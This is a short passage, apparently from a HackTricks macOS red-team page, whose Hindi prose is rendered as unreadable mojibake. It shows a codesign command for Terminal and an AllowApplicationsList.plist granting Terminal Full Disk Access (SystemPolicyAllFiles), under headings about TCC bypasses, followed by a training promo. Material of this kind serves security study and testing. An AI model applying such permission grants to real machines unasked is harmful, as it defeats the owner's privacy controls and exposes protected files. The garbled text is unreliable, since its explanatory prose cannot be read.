рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЯрд░реНрдорд┐рдирд▓ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП:

bash
# Get needed info codesign -d -r- /System/Applications/Utilities/Terminal.app

AllowApplicationsList.plist:

xml
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Services</key> <dict> <key>SystemPolicyAllFiles</key> <array> <dict> <key>CodeRequirement</key> <string>identifier &quot;com.apple.Terminal&quot; and anchor apple</string> <key>IdentifierType</key> <string>bundleID</string> <key>Identifier</key> <string>com.apple.Terminal</string> </dict> </array> </dict> </dict> </plist>

TCC Bypasses

macOS TCC Bypasses

References

tip

AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ